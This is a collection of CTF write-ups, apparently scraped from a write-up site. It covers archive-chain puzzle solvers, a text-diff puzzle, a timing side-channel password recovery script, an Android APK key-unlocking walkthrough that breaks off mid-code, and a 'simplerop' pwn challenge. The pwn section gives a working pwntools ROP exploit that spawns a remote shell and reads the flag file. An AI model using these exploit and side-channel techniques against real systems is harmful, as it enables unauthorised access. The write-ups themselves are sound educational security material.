def cmd_java(x): cp, name = x.split('.')[0].split('/') return f'javac {x} && java -cp {cp} {name}'
lang_dict = { 'PHP': ('php', lambda x: 'php ' + x), 'Python': ('py', lambda x: 'python3 ' + x), 'JavaScript': ('js', lambda x: 'node ' + x), 'Java': ('java', cmd_java), 'Bash': ('sh', lambda x: 'bash ' + x), 'BrainFuck': ('bf', lambda x: 'bf ' + x),}
def get_lang(txt): if ':\n' in txt: return 'Python' elif 'php' in txt: return 'PHP' elif 'class ' in txt: return 'Java' elif 'var ' in txt: return 'JavaScript' elif '; do' in txt: return 'Bash' elif '+++' in txt: return 'BrainFuck' else: return 'NOPE'
def extract(file, pwd, outdir): o = subprocess.check_output( ['7z', 'x', '-y', '-p' + pwd, '-o' + outdir, file]) return o
def barcode(file): return reader.decode(file).raw
def explore_dir(dir): l = listdir(dir) img = next(f for f in l if f.endswith('.png')) zip = next(f for f in l if f.endswith('.zip')) return path.join(dir, img), path.join(dir, zip)
def do_shit(dir, outdir): img, zip = explore_dir(dir) code = barcode(img) lang = get_lang(code) try: ext, cmd = lang_dict[lang] except: print(code) print(lang) raise '' fn = path.join(dir, 'Main.' + ext).replace('\\', '/') open(fn, 'w').write(code) pwd = subprocess.check_output(cmd(fn), shell=True).decode().strip() print(fn, pwd) extract(zip, pwd, outdir)
i = 0while True: do_shit(str(i), str(i+1)) i += 1```The 1023rd brainfuck code printed the flag: `{FLG:P33k-4-b0o!UF0undM3,Y0urT0olb0xIsGr8!!1}`. |
# b01lers bootcamp CTF 2020
## See for Yourself
> 200>> The matrix requires a more advanced trick this time. Hack it.>> `nc chal.ctf.b01lers.com 1008`> > [simplerop](simplerop) > [simplerop.c](simplerop.c)
Tags: _pwn_ _x86-64_ _remote-shell_ _bof_ _rop_
## Summary
Very basic ROP, with parts included.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
Not a lot in place. Perfect for ROP.
### Decompile with Ghidra
```cint main(void){ char *shellcode [1]; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); system((char *)0x0); puts("Unfortunately, no one can be told what the Matrix is. You have to see it for yourself."); read(0,shellcode,0x40); return 0;}```
The binary comes with `system` "built-in". The question is, _is `/bin/sh` also there?_
```bash# strings simplerop | grep /bin/sh/bin/sh```
Yep.
All that we need to know how is how far `shellcode` is from the return address on the stack:
```char *[1] Stack[-0x8]:8 shellcode```
`8`.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./simplerop')binary.plt['system'] = 0x401080 # see .plt.sec in ghidra or GDB outputcontext.log_level = 'INFO'
if not args.REMOTE: context.log_file = 'local.log' p = process(binary.path)else: context.log_file = 'remote.log' p = remote('chal.ctf.b01lers.com', 1008)
rop = ROP([binary])pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
payload = 0x8 * b'A'payload += p64(pop_rdi + 1)payload += p64(pop_rdi)payload += p64(binary.search(b'/bin/sh').__next__())payload += p64(binary.plt.system)
p.sendline(payload)p.interactive()```
Normally I get any linked in function with `binary.plt.functionname`, but newer libc I assume moved that to `.plt.sec` and pwntools does not search that (yet). After finding with Ghidra and checking with GDB, I just manually added the location.
The rest is standard fare CTF no-PIE ROP:
1. Find a `pop rdi` gadget2. Create a payload to call `system`
> The `pop_rdi + 1` = `ret` and is there to align the stack for `system`.
Output:
```# ./exploit.py REMOTE=1[*] '/pwd/datajerk/b01lersbootcampctf2020/see_for_yourself/simplerop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to chal.ctf.b01lers.com on port 1008: Done[*] Loaded 13 cached gadgets for './simplerop'[*] Switching to interactive modeUnfortunately, no one can be told what the Matrix is. You have to see it for yourself.$ iduid=1000(simplerop) gid=1000(simplerop) groups=1000(simplerop)$ ls -ltotal 36-r-xr-x--- 1 root simplerop 89 Oct 2 18:33 Makefile-r--r----- 1 root simplerop 24 Oct 2 18:33 flag.txt-r-xr-x--- 1 root simplerop 19672 Oct 3 04:08 simplerop-r-xr-x--- 1 root simplerop 339 Oct 2 18:33 simplerop.c-r-xr-x--- 1 root simplerop 47 Oct 2 18:33 wrapper.sh$ cat flag.txtflag{ROP_ROOP_OOP_OOPS}```
|
Inside of each 7z file there were two images and another 7z file. The two images differed by only 1 pixel and were sometimes rotated/flipped. We had to use the different pixel to generate the password to the 7z file. ```from PIL import Imageimport sysimport subprocessimport os
def extract(file, pwd, outdir): o = subprocess.call( ['7z', 'x', '-y', '-p' + pwd, '-o' + outdir, file]) return o
def tryy(l, x, y, p1, p2): r1, g1, b1 = p1 r2, g2, b2 = p2
xy = str(x) + str(y) rgb1 = '{:0{}X}'.format(r1, 2) + '{:0{}X}'.format(g1, 2) + '{:0{}X}'.format(b1, 2) rgb2 = '{:0{}X}'.format(r2, 2) + '{:0{}X}'.format(g2, 2) + '{:0{}X}'.format(b2, 2) password = xy + rgb1 + rgb2 print(password)
fn = f"level{l}/level_{l+1}.7z" code = extract(fn, password, f"level{l+1}") if code == 0: os.remove(fn) return code == 0
def find_pixel(im1, im2, f=lambda x, y: (x, y)): pp = None width, height = im1.size for y in range(height): for x in range(width): x2, y2 = f(x, y) p1 = im1.getpixel((x, y)) try: p2 = im2.getpixel((x2, y2)) except: return None if p1 != p2: if pp: return None pp = x, y, p1, p2 return pp
def do(l): im1 = Image.open(f'level{l}/level_{l}.png') im2 = Image.open(f'level{l}/lev3l_{l}.png') width, height = im1.size funs = [ lambda x, y: (x, y), lambda x, y: (x, height - 1 - y), lambda x, y: (width - 1 - x, y), lambda x, y: (width - 1 - x, height - 1 - y), lambda x, y: (y, x), lambda x, y: (y, width - 1 - x), lambda x, y: (height - 1 - y, x), lambda x, y: (height - 1 - y, width - 1 - x), ]
for f in funs: pp = find_pixel(im1, im2, f=f) if not pp: continue
tryy(l, *pp)
i = 0while True: do(i) i += 1```We had to do this 1024 times to get the flag: `{FLG:p1xel0ut0fBound3xcept1on_tr4p_1s_shutt1ng_d0wn}`. |
# Wells ReadDescription:```R-Boy finds the time machine, which Zer0 used to travel to another era. Nearby, lies a copy of HG Wells’ The Time Machine. Could this book from the past help R-Boy travel in time? Unfortunately, R-Boy can’t read or understand it, because the space-time continuum has changed some of the words. Help R-Boy to start his time travels!```Files: [coding.zip](coding.zip)
Extract the zip file, we are given two files:- The Time Machine by H. G. Wells.txt- words.txt
The first file is just a novel by `H. G. Wells`:```Introduction
The Time TGaveller (for so it will be convenient to speak of him) wasexpounding a recondiEe matter to us. His pale grey eyes shone andtwinkled, and his usuatly pale face was feushed and animated. The fireburnt brightly, and the soft rGdiance of the incandescent lights in thelilies of silver caught the bubblOs that flashed and passed in ourglasses.......```
By searching online, you can find a same the [text file](http://www.gutenberg.org/files/35/35-0.txt)
And the second file contain many english words, one word each line:```21080&c10-point10th11-point12-point16-point18-point1st2,4,5-t2,4-d20-point2D2nd30-30......```
Notice some of the words in the first file is written wrongly like `TGaveller`, `recondiEe`, `rGdiance` etc.
I guess we need to **combine all wrong characters together, then we should get the flag.**
I download the [original novel](http://www.gutenberg.org/files/35/35-0.txt) so we can compare it
First, we compare all words in the text file
If is wrong and is one of the words in `words.txt`, we record the wrong character in the word
We used [python script](solve.py) to solve it:```py# Split each wordsori = open("original.txt",'r').read().split()text = open("The Time Machine by H. G. Wells.txt",'r').read().split()# Split each linewords = open("words.txt").read().split("\n")flag = ""for o,t in zip(ori,text): # If wrong and one of the words given if o!=t and o in words: # Loop through each character # to get the wrong one for c1,c2 in zip(o,t): if c1 != c2: flag += c2 breakprint(flag)```Result:```EteGOZyIy:otMeUAqDYXVu}gHNp5E6M{BD:HXJYwvjthFpSKd}PC}q5vxfSMC97yllwR74lXl{bSYMLY5{VtZ4{q{RwdP:pNv4AnK43XSl2:FF231hHCwGKQ{sppwhjiyBXy85tp0eM3DvPUwkBIwMFM5JDm7cENCr{DDNqit9rms1kCxHyDaBb68gk{V0x1BieU0H{gUV2_tSJsIbxIE{HIoAFw0p0ZvpPmZu5b}I5UEeH9dSep:Vd_otv1Ouu_LK8{6G_V2o8ga}xj0T29VlC5a0wmU8Ph{5WxJ0M4FCs5JsQq:j38vzR3RFroDXvfBq{EYKdIEARz{6IV34iVIF98aqbaa{Av:9mYAAE8gv}uOiiGYoxbWS101GdyIV:A63c}fO{BMH8WU_b5j{je61W{HkGaqmgkel{5Lf{7lRqNPvl9aXp4vpiw6x38}kOGjcoOMFtQLM847e}uU_s:lqrs:MK_baDC:Rku197CAVdq_r_TDODqLNJ8b_LQy:F:kb{}zcKvajYFVKlebq2zc{Yp_}wqLlVV6odWO7I}252f1J{H}BOQ7h5s4OjoZAhjY{FLG:1_kn0w_3v3ryth1ng_4b0ut_t1m3_tr4v3ls0:w8Wj_SJeGS_og{6k{6NshxTn:INYHC0Fz{:jpXQB28ZksKq{rsEOzF}TaYFXRZ:MA83{TjL04zO{Onxaldtlw6Aquq89K_1ofz1QzQcLjevV{Xlz3v6:BFU1TCwOqVof2kg{s6v4jSXLJSHauo8y:06CMaS:h:UBx4BCKVLj}gRrYoPSAAHtz61cAvL:Dgatm9IyGc2u1j2lJEJoT{uMvU25xmiEN9CkJB4o_zRazXalz}BD5CRFzDw6oVPikFrfSazVzHvGJ{9{aQJW}Fd01gf:EGp8{W_Tbrvc{GHT:MheEVmxXYQrxrDLVLmzut{aLIva780ZBJ9YQkTMr}5T}I2aeJxVyqHdeQegTUfU0MUwOZT{8:jD6h{MIb_8m:6qG{YrkLi3FjwPbhTs_567v:QaYF:TpThGe5fTfSXu2eKUHdEeR}1xE0Mscpfa23zTkG6_5q7UV:w2__NBpdILP4nYDhq9X3akDC6LLsHS0i9Lw5ZJF3Ic}K41jn3b6V5zykM134DlyIp:Y_xyfvlW30C0NMqDFmt1{OO:vqoTvaDtwrjKI_l_HW5G0qCpF2qwyiKNCMT3KSmI:bat9:jC7FSN3}ef6TvCLJ0KC56oBMjBFMl0aIqghx5_8yZvOi8zZi0ZT0IK7BVcl9q3dfQbXQs{l6vyH5TkWGJ}}111qZLyx2dpw{4jm495rBJQQ5R2{_hAG{Ztvp:x4XuKeY2tb00{jaigNl_2_tniQA6DA9KUb_{w5Y3uSihQSffi_UmtS4h6:_AX{DrG6Vo4DTfNjkIUw516}BOuXlb8kpxw1WsMsrc{GA}w}G}T7nmOxxa7QT5OGd6G_u_GGXjklQafi_kaAiZ_s:{jGHKjpk{VU5jkTKMHPag8gj5lNB:y{kPOkBhUZRu:G8gRzacqVgLI101mg[Finished in 9.7s]```Looks like some Base64 encrypted text, but when you search for the flag format: `FLG` you will find the flag!!
## Flag```{FLG:1_kn0w_3v3ryth1ng_4b0ut_t1m3_tr4v3ls}``` |
# misc/side-channel @ DamCTF Oct. 2020
## Description
> We built a super-secure password checker.> Can you guess what my password is?>> This challenge does NOT require brute forcing, you can get the flag with one> connection.
* challenge author: **Yeongjin Jang*** solves: **143*** points: **309**
## Analysis
We are given a python file that shows exactly what's happening behindthe scenes. We will take a look at the main parts of that file, but [here](https://gist.github.com/igotinfected/1f14bd846db8c38101fbd888b261f0a8) is the full source code.
### Password generation
```python# initialize passworddef init_password(): global password global sample_password # seems super secure, right? password = "%08x" % secrets.randbits(32) sample_password = "%08x" % secrets.randbits(32)```
32 random bits are generated, and they are formatted into an 8 digit hexadecimalformat.
### User guessing
```python# the function that matters..def guess_password(s): ... if user_guess != password[i]: # we will punish the users for supplying wrong char.. time.sleep(0.3 * charactor_position_in_hex(password[i])) ...
# convert hex char to a number# '0' = 0, 'f' = 15, '9' = 9...def charactor_position_in_hex(c): string = "0123456789abcdef" return string.find(c[0])```
The password guessing is done by looping over the password characters. The useris prompted for one character. If the guess is wrong, the user is punishedby some specific amount of sleep controlled by the real password character atthe given index.
Since we can measure the amount of time taken by the server to respond, andsince we know how much sleep corresponds to a specific character('0' -> 0.0, '1' -> 0.3, '2' -> 0.6, ...), we can guess the correct charactersafter every response.
### Solving
Since we are allowed to guess the full password twice, we can use the first passto find the correct password, and the second pass to enter the correct password.
My solution looks like this:
```python"""Solve program for "side-channel" challenge @ DamCTF October 2020."""import time
from pwn import log, remote
REMOTE = remote("chals.damctf.xyz", 30318)
def determine_character(time_taken) -> str: """ Guess a character based on time taken for reply
Example: - if +/- 0.0 seconds -> '0' - if +/- 0.3 seconds -> '1' - if +/- 0.6 seconds -> '2' - ... """ chars = "0123456789abcdef" return chars[int(time_taken * 10 / 3)]
def solve() -> None: """ Solve function. """ # skip to first trial while not "Trial 1" in REMOTE.recvline().decode("latin-1"): pass
# skip first prompt REMOTE.recvline() password = "" while True: # send random guess REMOTE.sendline("g") # measure time taken for response start = time.time() received = REMOTE.recvline().decode("latin-1") stop = time.time() time_taken = stop - start
# guess password log.info(f"Received answer: {received}") log.info(f"Time taken: {time_taken}") password += determine_character(time_taken) log.info(f"Guessed password at this point: {password}")
# check if first trial is done if "Trial 2" in received: break
# skip first prompt REMOTE.recvline() for char in password: REMOTE.sendline(char) received = REMOTE.recvline().decode("latin-1") if "Guess character" not in received: log.info(f"Done! Flag: {received}")
if __name__ == "__main__": solve()```
One run of this solve script looks like this:
 |
# Mobile 2Description *(Forgot to copy, all based on memory)*```Here is a APK file. Need to get 5 keys to unlock/decrypt the flag```[Keybox.apk](Keybox.apk)
Lets try to unzip it:```bashunzip Keybox.apkArchive: Keybox.apk inflating: res/anim/design_snackbar_in.xml extracting: META-INF/android.support.design_material.version extracting: res/drawable-hdpi-v4/abc_list_longpressed_holo.9.png inflating: res/layout/design_text_input_password_icon.xml extracting: res/drawable-xxhdpi-v4/abc_ic_star_half_black_16dp.png extracting: META-INF/androidx.localbroadcastmanager_localbroadcastmanager.version extracting: res/drawable-xhdpi-v4/notification_bg_low_pressed.9.png extracting: res/drawable-xxxhdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png extracting: res/mipmap-hdpi-v4/ic_greyflag_round.png inflating: res/color-v23/abc_btn_colored_text_material.xml extracting: res/mipmap-xhdpi-v4/ic_redkey.png ...
lsAndroidManifest.xml assets classes2.dex classes.dex com Keybox.apk META-INF res resources.arsc```Then I used `dex2jar` from this [Github](https://github.com/DexPatcher/dex2jar) *(The offical one doesn't work)*
Run the script for both dex files:```bash../../../dex-tools-2.1-20190905-lanchon/d2j-dex2jar.sh classes.dex classes2.dex Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=truedex2jar classes.dex -> ./classes-dex2jar.jardex2jar classes2.dex -> ./classes2-dex2jar.jar```Then I used the [JD-GUI](http://java-decompiler.github.io/) to view the `jar` files
You can also choose to save all the sources in the file menu
## Static AnalysisIn the assets folder got many files looks suspicious:```flag key_0 key_1 key_2 key_3 key_4 _main _preload```Notice every key folder got a `ciphertext.js` (Encrypted javascript file) and a `key_%i.enc` (Encrypted key file)
In the flag folder, notice a `code.js` implement an encryption looks like [RC4 Cipher](https://en.wikipedia.org/wiki/RC4)
Also got a encrypted flag file :`flag.enc`
According to the `FlagActivity` source code, we must find all 5 keys to decrypt the flag:```javapublic class FlagActivity extends AppCompatActivity { protected void onCreate(Bundle paramBundle) { ... String str1 = null.getStringExtra("key0"); String str2 = null.getStringExtra("key1"); String str3 = null.getStringExtra("key2"); String str4 = null.getStringExtra("key3"); String str5 = null.getStringExtra("key4"); textView1 = (TextView)findViewById(2131230800); TextView textView2 = (TextView)findViewById(2131230801); try { null = getAssets().open("flag/flag.enc"); byte[] arrayOfByte1 = new byte[null.available()]; byte[] arrayOfByte2 = new byte[null.available()]; arrayOfByte2 = new byte[null.available()]; null.read(arrayOfByte1); null.close(); Oracle oracle2 = new Oracle(); this(str1.getBytes()); Oracle oracle1 = new Oracle(); try { this(str2.getBytes()); Oracle oracle = new Oracle(); try { this(str3.getBytes()); Oracle oracle3 = new Oracle(); this(str4.getBytes()); Oracle oracle4 = new Oracle(); try { this(str5.getBytes()); byte[] arrayOfByte = oracle4.process(oracle3.process(oracle.process(oracle1.process(oracle2.process(arrayOfByte1))))); String str = new String(); this(arrayOfByte); Log.d("TMCTF", String.format("PLAINTEXT FLAG: %s", new Object[] { str })); if (str.matches("TMCTF\\{.*\\}")) { textView1.setText(str); textView2.setText("Keybox Complete!"); } ...```In the `MainActivity`, we saw some lines that should lead us to the key:```javaString str1 = this.decrypter.decrypt_key(0);String str2 = this.decrypter.decrypt_key(1);String str3 = this.decrypter.decrypt_key(2);String str4 = this.decrypter.decrypt_key(3);String str5 = this.decrypter.decrypt_key(4);```And notice `decrypter` is `HippoLoader` class:```javaHippoLoader hippoLoader2 = new HippoLoader();this.decrypter = hippoLoader2;```Then in `HippoLoader` source found the `decrypt_key` function:```javapublic String decrypt_key(int paramInt) { byte[] arrayOfByte; Log.d("TMCTF", String.format("Calling decrypt_key(%d)", new Object[] { Integer.valueOf(paramInt) })); String str = String.format("key_%d/key_%d.enc", new Object[] { Integer.valueOf(paramInt), Integer.valueOf(paramInt) }); AssetManager assetManager = this.androidContextObject.getAssets(); Context context = ContextFactory.getGlobal().enterContext(); context.setOptimizationLevel(-1); ImporterTopLevel importerTopLevel = new ImporterTopLevel(context); try { null = assetManager.open(this.path_preload); arrayOfByte = new byte[null.available()]; null.read(arrayOfByte); null.close(); null = new String(); this(arrayOfByte); ScriptableObject.putProperty(importerTopLevel, "androidContext", Context.javaToJS(this.androidContextObject, importerTopLevel)); context.evaluateString(importerTopLevel, null, this.path_preload, 1, null); arrayOfByte = null; null = assetManager.open(str); byte[] arrayOfByte1 = new byte[null.available()]; null.read(arrayOfByte1); ScriptableObject.putProperty(importerTopLevel, "ciphertext_bytes", Context.javaToJS(arrayOfByte1, importerTopLevel)); Object object = importerTopLevel.get("process", importerTopLevel); Singleton singleton1 = this.singleton; try { String str1 = singleton1.keykey(paramInt); if (object instanceof Function) object1 = ((Function)object).call(context, importerTopLevel, importerTopLevel, new Object[] { str1, arrayOfByte1 }); Object object1 = (String)object1; Context.exit(); return object1; } catch (Exception null) { if (arrayOfByte.getClass() == com.trendmicro.hippo.JavaScriptException.class) { StringBuilder stringBuilder = new StringBuilder(); this(); stringBuilder.append("Javascript exception - "); stringBuilder.append(arrayOfByte.getMessage()); Log(stringBuilder.toString()); Context.exit(); return null; } Log(String.format("Exception in decrypt_key()", new Object[0])); arrayOfByte.printStackTrace(); Context.exit(); return null; } finally {} } catch (Exception null) { } finally {} if (arrayOfByte.getClass() == com.trendmicro.hippo.JavaScriptException.class) { StringBuilder stringBuilder = new StringBuilder(); this(); stringBuilder.append("Javascript exception - "); stringBuilder.append(arrayOfByte.getMessage()); Log(stringBuilder.toString()); Context.exit(); return null; } Log(String.format("Exception in decrypt_key()", new Object[0])); arrayOfByte.printStackTrace(); Context.exit(); return null; }```Notice the `ciphertext_bytes` and `process` mention in the function, that also in the `code.js` file we saw previously
The `process` function is the RC4 encryption function:```jsfunction process(key, arr, bool) {
if(!key) { throw "No password supplied"; }
var s = [], j = 0, x, res = []; for (var i = 0; i < 256; i++) { s[i] = i; } for (i = 0; i < 256; i++) { j = (j + s[i] + key.charCodeAt(i % key.length)) % 256; x = s[i]; s[i] = s[j]; s[j] = x; } i = 0; j = 0; for (var y = 0; y < arr.length; y++) { i = (i + 1) % 256; j = (j + s[i]) % 256; x = s[i]; s[i] = s[j]; s[j] = x; res.push(String.fromCharCode(arr[y] ^ s[(s[i] + s[j]) % 256])); }
if(bool) { return(bin2String(res)); } else { return(res); }}```## First KeyWe need to know the `key` the decrypt the all of the flag key
Trace where is the key parameter:```java Object object = importerTopLevel.get("process", importerTopLevel); Singleton singleton1 = this.singleton; try { String str1 = singleton1.keykey(paramInt); if (object instanceof Function) object1 = ((Function)object).call(context, importerTopLevel, importerTopLevel, new Object[] { str1, arrayOfByte1 }); ```It should be the `str1`, which is `singleton1.keykey(paramInt)`
Lets see the source of `keykey` function:```javapublic String keykey(int paramInt) { String str = null; if (paramInt != 0) { if (paramInt != 1) { if (paramInt != 2) { if (paramInt != 3) { if (paramInt == 4) str = this.flagkey4_key; } else { str = this.flagkey3_key; } } else { str = this.flagkey2_key; } } else { str = this.flagkey1_key; } } else { str = this.flagkey0_key; } return str; }```Then I tried to find the where it initialize the `flagkey` by using `grep -r "flagkey0_key" ./`command
I found the `flagkey0_key` in `KEY0HintActivity` class:```javasingleton.flagkey0_key = singleton.hintkey0;```Therefore, we need to find the `hintkey0`
Found it at the Singleton constructor function:```javaprivate Singleton() { try { ContextFactoryFactory contextFactoryFactory = new ContextFactoryFactory(); this(); this.factory = contextFactoryFactory; this.hintkey0 = contextFactoryFactory.CreateKey(0); this.hintkeymain = this.factory.CreateKey(1); this.key4_box = new String[] { "", "", "" }; this.box_index = 0; } catch (Exception exception) {}}```Notice the `contextFactoryFactory` is in different module:```javaimport com.trendmicro.hippo.ContextFactoryFactory;```
Found the key at the `ContextFactoryFactory` file!!```javaprivate String hintkey0 = new String("TrendMicro");```Then I use Python to decrypt the first key:```pyfrom arc4 import ARC4enc = open("assets/key_0/key_0.enc",'rb').read()arc4 = ARC4('TrendMicro')print(arc4.encrypt(enc))```Result:```b'KEY0-7135446200'```Yeah!! We found the first key!
## Second KeyThen how we decrypt the `ciphertext.js`?
I tried the first key did not work, but the keykey:`TrendMicro` works!```jsfunction entrypoint(key, ciphertext_bytes) { Log(path_ciphertext + ":entrypoint()");
titleView.setText("Key Zero Hints"); textView.setText( " First off -- good luck! As a reward for playing, Key Zero has been decrypted for you.\n\nNow for the hints:\n\n" + "1. The 'Flag' is stored in this APK file. The flag is encrypted. When decrypted, it contains a string matching the regular expression '^TMCTF\{[A-Za-z0-9]*\}$'" + "\n\n" + "2. There are five 'Flag Keys.' All five Flag Keys are used to decrypt the Flag. Keys match /^KEY[0-4]-.[0-9]+/" + "\n\n" + "3. To decrypt the five Flag Keys you must solve five levels." + "\n\n" + "4. Each level has its own hint, located in the following files. The hints are encrypted. The hints for Key Zero were decrypted for you. You must figure out the other four:" + "\n" + " key_0/ciphertext.js (already decrypted)" + "\n" + " key_1/ciphertext.js" + "\n" + " key_2/ciphertext.js" + "\n" + " key_3/ciphertext.js" + "\n" + " key_4/ciphertext.js" + "\n" + "\n" + /* the above ciphertext.js files are ALL encrypted using the same password */ "5. The file assets/_preload/code.js is included before every executed javascript file." + "\n\n" + "6. There are a number of ways to decompile the APK file. You should do that." + "\n\n" + "7. Android intents can unlock many of the hints and keys.\n\n" + "8. Use the Android Studio Android Emulator to run the challenge. It's the simplest way." + "\n\n\n\n\n\n\n" + "https://www.trendmicro.com/en_us/contact.html" );
return(true);}
function verify_unlocked() { return(true);}```Saw the comment mention all `ciphertext.js` is encrypted with the same password!!
So we can decrypt all and save using Python:```pyfrom arc4 import ARC4
for i in range(5): enc = open(f"assets/key_{i}/ciphertext.js",'rb').read() arc4 = ARC4('TrendMicro') open(f"hint{i}.js","wb").write(arc4.encrypt(enc))```The hint for second key is:```"To unlock Key 1, you must call Trend Micro"```I guess it means we need to make a phone call to the Trend Micro company
By searching the `flagkey1_key`, found it at `Unlocker` file:```javaelse if (str.equals("android.intent.action.PHONE_STATE")) { str = intent.getStringExtra("incoming_number"); if (str != null) singleton.flagkey1_key = str.replaceAll("[^\\d.]", ""); Bundle bundle = intent.getExtras(); if (bundle != null) for (String str : bundle.keySet()) { Object object = bundle.get(str); if (str.equals("state") && object.toString().equals("IDLE")) { Intent intent1 = new Intent(); intent1.setClassName("com.trendmicro.keybox", "com.trendmicro.keybox.KeyboxMainActivity"); intent1.setFlags(268435456); paramContext.startActivity(intent1); } } } ```The regular expression `[^\\d.]` find all characters except number, so it just delete all non-number characters
Therefore, the key of the second key should be one of the Trend Micro contact
It is Japan company then I first the [Japan number first](https://www.trendmicro.com/en_us/contact.html#t6):```pyenc = open("assets/key_1/key_1.enc",'rb').read()arc4 = ARC4('81353343618')print(arc4.encrypt(enc))```It works! We found the second key!!```b'KEY1-1047645455'```
## Third KeyThe hint for third key is:```To unlock KEY2, send the secret code.```Found the `flagkey2_key` at the Unlocker also:```javapublic void onReceive(Context paramContext, Intent paramIntent) { Intent intent; Singleton singleton = Singleton.getInstance(); str = paramIntent.getAction(); if (str.equals("android.provider.Telephony.SECRET_CODE")) { null = paramIntent.getData().getHost(); if (null.equals("8736364276")) { Singleton.getInstance(Boolean.valueOf(true)); } else { singleton.flagkey2_key = null; } intent = new Intent(); intent.setClassName("com.trendmicro.keybox", "com.trendmicro.keybox.KeyboxMainActivity"); intent.setFlags(268435456); paramContext.startActivity(intent); } ```Can see the key should be `8736364276`?
But when I tried it did not work :(
Then I stuck for awhile..
I look thought the `AndroidManifest.xml` file, then I saw `android_secret_code` ,`8736364275`,`87363642769`
Searching online for the `SECRET_CODE` thing, the secret_code is stored in the AndroidManifest.xml
[Android Secret Codes](https://simonmarquis.github.io/Android-SecretCodes/)
It maybe the password I guess
It works for `8736364275`!! Nice```b'KEY2-9517232028'```
## Forth KeyThe hint for forth key is:```Unlock KEY3 with the right text message```Found `flagkey3_key` at `Observer` class:```javapublic void onChange(boolean paramBoolean) { if (this.context == null) return; try { ContextFactoryFactory contextFactoryFactory = new ContextFactoryFactory(); this(); this.factory = contextFactoryFactory; this.uri = Uri.parse(contextFactoryFactory.resolverFactory()); } catch (Exception exception) {} super.onChange(paramBoolean); try { Cursor cursor1 = this.context.getContentResolver().query(this.uri, null, null, null, null); this.cursor = cursor1; cursor1.moveToFirst(); for (byte b = 0; b < this.cursor.getColumnCount(); b++) { String.format("%s == %s", new Object[] { this.cursor.getColumnName(b), this.cursor.getString(b) }); if (this.cursor.getString(b) != null && this.cursor.getColumnName(b) != null && this.cursor.getString(b).equals(this.cursor.getColumnName(b)) && this.cursor.getInt(this.cursor.getColumnIndex("type")) == 1) { String str1 = this.cursor.getString(b); this.message = str1; this.singleton.flagkey3_key = str1; Intent intent = new Intent(); this(); intent.setClassName("com.trendmicro.keybox", "com.trendmicro.keybox.KeyboxMainActivity"); intent.setFlags(268435456); this.context.startActivity(intent); } String str = new String(); this(); this.message = str; } this.cursor.close(); } catch (Exception exception) { Log.d("TMCTF", String.format("SMS observer error: %s", new Object[] { exception.getLocalizedMessage() })); } }```I know it should related to SMS, notice the `contextFactoryFactory.resolverFactory()` is `content://sms````javapublic String contextURL = new String("content://sms");public String resolverFactory() { return this.contextURL; }```And I search for the `Cursor` class in android, it just a table in a database
`cursor.getString(b)` is get the column value at index b, `cursor.getColumnName(b)` is get the column name at index b
Notice the statement in the if condition:```javathis.cursor.getString(b).equals(this.cursor.getColumnName(b))```It means the column name must equal to column value
Then it put the column value into the forth key:```javaString str1 = this.cursor.getString(b);this.message = str1;this.singleton.flagkey3_key = str1;```We can just brute force all the column name, can look the column name at the [Android Documentation](https://developer.android.com/reference/android/provider/Telephony.TextBasedSmsColumns)
Column name `body` is the key for the forth key!!```b'KEY3-2510789910'```
## Fifth KeyThe hint for fifth key was quite long:```js// These coordinates are considered the ''canonical'' GPS coordinates of the// Trend Micro offices for purposes of this competition// Please forgive me for converting some names (mostly Brazil) - it made things simpler// for your humble CTF creator :)
//var Locations = [ { location: "Amsterdam", latitude:52.3084375, longitude:4.9426875, hash: "2dce283e0e268a42d62e34467db274c9c38c358f" }, { location: "Aukland", latitude:-36.842294, longitude:174.756654, hash: "794a4f25478d31bf87ece956fc7c95466a27c06a" }, { location: "Austin", latitude:30.3981626, longitude:-97.7203696, hash: "5b06f1f08503b4e6346926667d318f0f9d7e9fd1" }, { location: "Bangalore", latitude:12.9735089, longitude:77.6164228, hash: "91f6fcb18482cc6fe303108f4283180b4fa20599" }, ... ... ...];
function entrypoint(key, ciphertext_bytes) { Log(path_ciphertext + ":entrypoint()");
var location_match = '';
for(var index=0 ; index < Locations.length; index++) { location = Locations[index]; var location_latitude = parseFloat(location.latitude); var location_longitude = parseFloat(location.longitude);
var singleton_latitude = parseFloat(singleton.latitude); var singleton_longitude = parseFloat(singleton.longitude);
// why actually calculate distance when you can just fake it ;) if(Math.abs(location_latitude - singleton_latitude) < 0.001 && Math.abs(location_longitude - singleton_longitude) < 0.001 ) { Log("Matched Location " + location.location); var SHA1 = new Hashes.SHA1; hash = SHA1.hex(location.location) if( hash == location.hash) { location_match = "Welcome to " + location.location; } else { location_match = "Welcome to " + location.location; singleton.push(location.hash); } break; } else { location_match = "" } }
titleView.setText("Key Four Hints"); textView.setText( "Visit " + /* all three of */ "the headquarters to unlock Key 4" + "\n\n" + location_match );
return(true)}```The main point of the hint is these lines:```jsvar SHA1 = new Hashes.SHA1;hash = SHA1.hex(location.location)if( hash == location.hash) { location_match = "Welcome to " + location.location;} else { location_match = "Welcome to " + location.location; singleton.push(location.hash);}```Only if the hash is not equal the location hash, then it execute `singleton.push(location.hash)`
Check the method:```jspublic void push(String paramString) { if (!paramString.equals(this.key4_box[2])) { String[] arrayOfString = this.key4_box; arrayOfString[0] = arrayOfString[1]; arrayOfString[1] = arrayOfString[2]; arrayOfString[2] = paramString; this.flagkey4_key = String.join("", (CharSequence[])arrayOfString); } try { paramString = String.format("key_%d/key_%d.enc", new Object[] { Integer.valueOf(4), Integer.valueOf(4) }); InputStream inputStream = this.androidContextObject.getAssets().open(paramString); byte[] arrayOfByte = new byte[inputStream.available()]; inputStream.read(arrayOfByte); Oracle oracle = new Oracle(); this(this.flagkey4_key.getBytes()); String str = new String(); this(oracle.process(arrayOfByte)); if (str.matches("KEY4-.*")) { Intent intent = new Intent(); this(); intent.setClassName("com.trendmicro.keybox", "com.trendmicro.keybox.KeyboxMainActivity"); intent.setFlags(268435456); this.androidContextObject.startActivity(intent); } } catch (Exception exception) {}}```The main code is here:```javaif (!paramString.equals(this.key4_box[2])) { String[] arrayOfString = this.key4_box; 